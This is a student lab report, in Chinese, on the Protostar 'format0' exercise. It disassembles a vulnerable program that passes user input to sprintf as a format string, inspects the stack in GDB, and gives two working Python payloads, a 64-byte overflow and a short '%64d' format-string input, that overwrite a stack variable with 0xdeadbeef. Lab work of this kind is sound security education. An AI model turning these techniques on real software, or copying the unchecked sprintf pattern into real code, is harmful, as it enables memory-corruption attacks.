CS3312 Lab Report Format0

Osamu Takenaka 520030990026

源码分析

x86汇编代码(由objdump得到)：

```
080483f4 <vuln>:
 80483f4:       55                      push   %ebp
 80483f5:       89 e5                   mov    %esp,%ebp
 80483f7:       83 ec 68                sub    $0x68,%esp
 80483fa:       c7 45 f4 00 00 00 00    movl   $0x0,-0xc(%ebp)
 8048401:       8b 45 08                mov    0x8(%ebp),%eax
 8048404:       89 44 24 04             mov    %eax,0x4(%esp)
 8048408:       8d 45 b4                lea    -0x4c(%ebp),%eax
 804840b:       89 04 24                mov    %eax,(%esp)
 804840e:       e8 ed fe ff ff          call   8048300 <sprintf@plt>
 8048413:       8b 45 f4                mov    -0xc(%ebp),%eax
 8048416:       3d ef be ad de          cmp    $0xdeadbeef,%eax
 804841b:       75 0c                   jne    8048429 <vuln+0x35>
 804841d:       c7 04 24 10 85 04 08    movl   $0x8048510,(%esp)
 8048424:       e8 07 ff ff ff          call   8048330 <puts@plt>
 8048429:       c9                      leave
 804842a:       c3                      ret

0804842b <main>:
 804842b:       55                      push   %ebp
 804842c:       89 e5                   mov    %esp,%ebp
 804842e:       83 e4 f0                and    $0xfffffff0,%esp
 8048431:       83 ec 10                sub    $0x10,%esp
 8048434:       8b 45 0c                mov    0xc(%ebp),%eax
 8048437:       83 c0 04                add    $0x4,%eax
 804843a:       8b 00                   mov    (%eax),%eax
 804843c:       89 04 24                mov    %eax,(%esp)
 804843f:       e8 b0 ff ff ff          call   80483f4 <vuln>
 8048445:       c3                      ret
 8048444:       c9                      leave
```

C语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
    volatile int target;
    char buffer[64];

    target = 0;

    sprintf(buffer, string);

    if(target == 0xdeadbeef) {
        printf("you have hit the target correctly :)\n");
    }
}

int main(int argc, char **argv)
{
    vuln(argv[1]);
}
```

这其实是个典型的栈溢出漏洞，和format关系不大。在vuln函数中，sprintf函数的第一个参数是一个栈上的buffer，第二个参数是用户输入的字符串，这个字符串会被写入到buffer中。由于没有对用户输入的长度进行检查，所以用户可以输入任意长度的字符串，从而覆盖栈上的其他数据。在这个程序中，我们可以通过覆盖target的值为0xdeadbeef来触发漏洞。

- 变量位置确定：

  从这句汇编

  ```
  80483fa:       c7 45 f4 00 00 00 00    movl   $0x0,-0xc(%ebp)
  ```

  可以看出，target变量的位置是ebp-0xc 从C语言代码中，我们可以先假设target的位置就在buffer的后面，构造一个测试的攻击脚本，然后在gdb里再具体确定buffer和target的位置。

GDB调试

测试攻击脚本：

```
buffer = 'A' * 64
modified = '\xef\xbe\xad\xde'
padding = buffer + modified
print padding
```

```
root@protostar:/opt/protostar/bin# gdb ./format0
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/format0...done.
(gdb) set args `cat ./format0_input`
```

在vuln函数中，执行完参数输入指令后，我们打印栈的状态以及$ebp的值：

```
(gdb) x/32xw $esp
0xbffffb90:     0xbffffbac      0xbffffdf3      0x080481e8      0xbffffc28
0xbffffba0:     0xb7fffa54      0x00000000      0xb7fe1b28      0x41414141
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0xdeadbeef
0xbffffbf0:     0xb7fd8300      0xb7fd7ff4      0xbffffc18      0x08048444
0xbffffc00:     0xbffffdf3      0xb7ff1040      0x0804846b      0xb7fd7ff4
(gdb) p $ebp
$1 = (void *) 0xbffffbf8
(gdb)
```

可以看到，`$ebp = 0xbffffbf8`，`$ebp-0xc = 0xbffffbec`，所以`target`的位置是`0xbffffbec`，正好就是图中`buffer`区域（大片0x41）的后面，即`0xdeadbeef`的位置，我们的假设是正确的

```
(gdb) c
Continuing.
you have hit the target correctly :)

Program exited with code 045.
```

可以看到攻击成功，程序输出了`you have hit the target correctly :)`，说明我们成功地修改了`target`的值为`0xdeadbeef`。

等等！题目说输入应当小于 10 字节，好吧我们改一下

攻击脚本内容

script_format0.py:

```
buffer = '%64d'
modified = '\xef\xbe\xad\xde'
padding = buffer + modified
print padding
```

在终端中运行：

```
./format0 $(python script_format0.py)
```

结果（非GDB环境）

```
root@protostar:/opt/protostar/bin# ./format0 $(python script_format0.py )
you have hit the target correctly :)
root@protostar:/opt/protostar/bin#
```

攻击成功